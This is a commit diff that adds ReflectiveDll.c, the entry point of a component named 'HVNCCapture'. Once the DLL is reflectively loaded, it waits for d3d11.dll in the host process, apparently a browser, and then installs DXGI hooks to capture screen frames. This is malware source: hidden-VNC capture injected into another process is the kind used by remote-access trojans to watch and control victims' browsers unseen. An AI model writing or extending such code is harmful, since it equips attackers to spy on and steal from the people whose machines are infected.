GPU HVNC capturing
This commit is contained in:
@@ -0,0 +1,61 @@
|
||||
//===============================================================================================//
|
||||
// HVNCCapture — ReflectiveDll.c
|
||||
//
|
||||
// Entry point for the reflective DLL. Called by ReflectiveLoader after the DLL
|
||||
// is mapped into memory. Defers DXGI hook installation to a worker thread
|
||||
// because DllMain runs under the loader lock and cannot safely call
|
||||
// LoadLibrary / D3D11CreateDeviceAndSwapChain.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
#include "DXGICapture.h"
|
||||
|
||||
extern HINSTANCE hAppInstance;
|
||||
|
||||
static HANDLE g_InitThread = NULL;
|
||||
|
||||
// Worker thread: waits for d3d11.dll to appear, then installs hooks.
|
||||
static DWORD WINAPI DeferredInit(LPVOID param)
|
||||
{
|
||||
(void)param;
|
||||
// Poll for d3d11.dll up to 60 seconds (browser may take a while)
|
||||
for (int i = 0; i < 600; i++) {
|
||||
if (GetModuleHandleA("d3d11.dll") != NULL)
|
||||
break;
|
||||
Sleep(100);
|
||||
}
|
||||
if (GetModuleHandleA("d3d11.dll") == NULL) {
|
||||
// Process never loaded D3D11 — nothing to hook
|
||||
return 0;
|
||||
}
|
||||
// Brief delay for swapchain creation
|
||||
Sleep(500);
|
||||
InstallDXGICapture();
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
DisableThreadLibraryCalls(hinstDLL);
|
||||
g_InitThread = CreateThread(NULL, 0, DeferredInit, NULL, 0, NULL);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
if (g_InitThread) {
|
||||
WaitForSingleObject(g_InitThread, 5000);
|
||||
CloseHandle(g_InitThread);
|
||||
g_InitThread = NULL;
|
||||
}
|
||||
RemoveDXGICapture();
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
|
||||
return bReturnValue;
|
||||
}
|
||||
Reference in New Issue
Block a user